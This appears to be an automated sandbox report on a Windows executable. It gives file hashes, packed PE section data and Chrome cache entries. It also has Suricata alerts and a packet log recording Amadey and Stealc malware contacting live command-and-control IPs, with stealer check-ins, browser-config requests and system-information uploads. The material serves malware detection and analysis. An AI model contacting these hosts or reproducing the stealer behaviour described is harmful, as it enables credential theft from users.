MD5:	6B0A3FB19FCD782349B1BABC15D9A670
SHA1:	2AE6FAF1660661B5D2CE33EFE740295226D0D655
SHA-256:	8AF0FFE5BCBA369A27C58ACC742716ABDBD2085FC1A89FDC7F83A3F0850A65F1
SHA-512:	D71597F10E9772080C2C85B5D19CD4F7D97CB96440DAC60B37B929B7ED915BCAEAA8C8FB63115844B241AC7271CCD037FBA1CDA3D500C65B9FF1FB7B89CE6240
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["texas a\u0026m aggies football","bold and beautiful spoilers november 25","mcdonalds mcvalue meal","drinking water chemical","monopoly go fortune feast rewards","wicked movie streaming","eagles vs rams betting odds","american airlines boarding gate lice"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"google:entityinfo":"CgovbS8wMjZsZzY4Eg1Gb290YmFsbCB0ZWFtMuYJZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFFQUFBQUExQ0FNQUFBREdXQjJlQUFBQWgxQk1WRVgvLy85UUFBQk5BQUJPQUFCUEFBQklBQUJWQUFENTkvZWhoSVJMQUFCakppYkh0N2M3QUFCRkFBQ2FlM3Q4V0ZqdzZlbkNyYTAvQUFCbUpDVG0zZDIyblozTndNQ0RYVjMwOFBCM1JFUnhPenVVY25LQ1YxZC9VbEttaW9yaTE5Zlp5OHRaSGg1ZUd4dGFEdyt3bEpTTmFXa3BBQUJwTURCMVNVbHFPenRjSmlZMUFBQlVFQkJFczRPU0FBQUN6MGxFUVZSSWliMlcyWGFiTUJDR3RZSmxXeTVSdllBcEJqdlFPSW5mLy9tcTBjSU9YbkpPL3lza2hvOWhOb0dRVVJ4UVJoOFh3M3lET3RLQVMvQ3czbTlzQ09BbENoOFV5cGQ4eEFPMWU1Q0FWb290MUJ

Chrome Cache Entry: 464

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175021
Entropy (8bit):	5.5519862292821776
Encrypted:	false
SSDEEP:	3072:kEBR0Kx4gWiUIzT2Zu2AuhZNsWGUHUylZBTftnn2N2DIWHUm1CBT46mG3bXnejYR:kKR0oWiUIzy42AuXNsWGUHLlZBTftn2b
MD5:	6ECBEC06F6245882E6D9659E66022263
SHA1:	F86FC301A3851511557DF798AD2BAD2AA4659946
SHA-256:	F7885470D82B8357E5AD03205AC0885DD9FD6F965E550D746627E5E35D4CF66B
SHA-512:	F2EDD978C9DC289B82DC0956503659B92C3B621DD1001DB2C5C34ACA01FFCDE7F84A6B24ED0B30A1EA6B15D937B6DD93FAE1DB97DCE26E9F9FCE1A3F5C43A8DD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US._3uvDuX1Bhg.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTus2ZfPv70D5bJuGT4XDgi-VtNqjg"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 465

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 466

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132981
Entropy (8bit):	5.435293959519722
Encrypted:	false
SSDEEP:	3072:f3kXyPqO7UX1Hme9kZbs4Voc5eSnXqwQ2i6o:fYyWFHrp4Voc5eSnawQ8o
MD5:	9AEA862B4B087B02A48FD5E140B00D56
SHA1:	F83C850536556A85BC41CCC74D4D2DF30706F839
SHA-256:	EC7E4DD31DEF3E6F0C38E26856DFD4CF7C2A80479F1E15B1C6F8CAF494571504
SHA-512:	B193EA73AB77573D64B94CD5D4E94AAB0CE2A24D71DB66039DF6DF48F4B72CFA41F020FE6386AB27D561092A3585BF052A1B8BDAFB0A266354596385B612825B
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 467

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 468

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946028214751952
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'804'800 bytes
MD5:	72870370b01acb1d84ea4f9baf6817bf
SHA1:	6d986173246c66c6fe45af46515c5fc3cb032864
SHA256:	e437ef53002765f2c3345b148af777931a4d87d99b9e6e173e5018c22508e85c
SHA512:	f5cbd7e94b7975c0382328cf6ba7dc5e9482e8f8cfe44583673ad08219fe813306360745c203e590c2cc0f6f1eceacb8d8c834d4e461001edb839836f851a6d6
SSDEEP:	24576:U+75Va6oskW5buv3WO4nosInfG+QZe79AR5ESlcA2dbp/vdnw3KAgEqSxs659Any:U+76DoifCoY++RLx2t5vGaPEq8NORg
TLSH:	2B8533CB2A7A39EFF9D405F65E5B939877F2200049CF3A28544457A07A23C9C67790DE
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa9a000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F1458E698CAh
punpckhbw mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00000000h], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	a0d1811833fbfc2deb4b673400fbbcbc	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	8b964420b12935f9e77dc41e279f1276	False	0.7890625	data	5.980379435080296	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2ae000	0x200	10bb1e750ec1999919cf91d346d613de	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
cfbfwmdt	0x4fa000	0x19f000	0x19ec00	c10dccaec275d134ae21eb174d7f29a7	False	0.9950859893007836	data	7.954955466683943	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xlvjkecr	0x699000	0x1000	0x400	c78dc9d0842221979afc2bd4f98fe959	False	0.73828125	data	5.9207743209238615	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x69a000	0x3000	0x2200	317f728752f35244ea239b16a0adfc60	False	0.06456801470588236	DOS executable (COM)	0.7630325823854843	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x698948	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-25T18:28:00.513834+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	50085	TCP
2024-11-25T18:28:09.606063+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-25T18:28:10.065422+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-25T18:28:10.187065+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-25T18:28:10.521593+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-25T18:28:10.846358+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-25T18:28:12.295732+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-25T18:28:13.100790+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-25T18:28:36.510249+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49761	185.215.113.206	80	TCP
2024-11-25T18:28:38.274511+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49761	185.215.113.206	80	TCP
2024-11-25T18:28:39.900036+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49761	185.215.113.206	80	TCP
2024-11-25T18:28:41.317969+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49761	185.215.113.206	80	TCP
2024-11-25T18:28:45.171746+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49761	185.215.113.206	80	TCP
2024-11-25T18:28:46.249631+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49761	185.215.113.206	80	TCP
2024-11-25T18:28:52.135627+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49892	185.215.113.16	80	TCP
2024-11-25T18:30:06.366275+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	50079	185.215.113.43	80	TCP
2024-11-25T18:30:11.076632+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50090	31.41.244.11	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2024 18:28:00.513834000 CET	49675	443	192.168.2.5	23.1.237.91
Nov 25, 2024 18:28:00.513835907 CET	49674	443	192.168.2.5	23.1.237.91
Nov 25, 2024 18:28:00.638928890 CET	49673	443	192.168.2.5	23.1.237.91
Nov 25, 2024 18:28:07.594898939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:07.715482950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:07.715626955 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:07.715873003 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:07.836373091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:09.118695974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:09.118932009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:09.126183987 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:09.247077942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:09.605443954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:09.606062889 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:09.607116938 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:09.728703022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:10.065289974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:10.065315008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:10.065422058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:10.066602945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:10.123163939 CET	49674	443	192.168.2.5	23.1.237.91
Nov 25, 2024 18:28:10.123635054 CET	49675	443	192.168.2.5	23.1.237.91
Nov 25, 2024 18:28:10.187064886 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:10.248128891 CET	49673	443	192.168.2.5	23.1.237.91
Nov 25, 2024 18:28:10.521307945 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:10.521348953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:10.521367073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:10.521467924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:10.521482944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:10.521506071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:10.521593094 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:10.521678925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:10.722297907 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:10.722551107 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:10.723680973 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:10.846358061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:11.183197021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:11.183327913 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:11.306119919 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:11.306188107 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:11.426721096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:11.426749945 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:11.426774979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:11.426789045 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:11.426862001 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:11.426877975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:11.426901102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:11.426913023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:12.295641899 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:12.295732021 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:12.548160076 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:12.672455072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:12.763238907 CET	443	49703	23.1.237.91	192.168.2.5
Nov 25, 2024 18:28:12.763457060 CET	49703	443	192.168.2.5	23.1.237.91
Nov 25, 2024 18:28:13.100714922 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:13.100734949 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:13.100749969 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:13.100764990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:13.100780010 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:13.100795031 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:13.100790024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:13.100809097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:13.100826025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:13.100846052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:13.100862026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:13.100877047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:13.100893021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:13.100888014 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:13.100888014 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:13.100888014 CET	49704	80	192.168.2.5	185.215.113.206
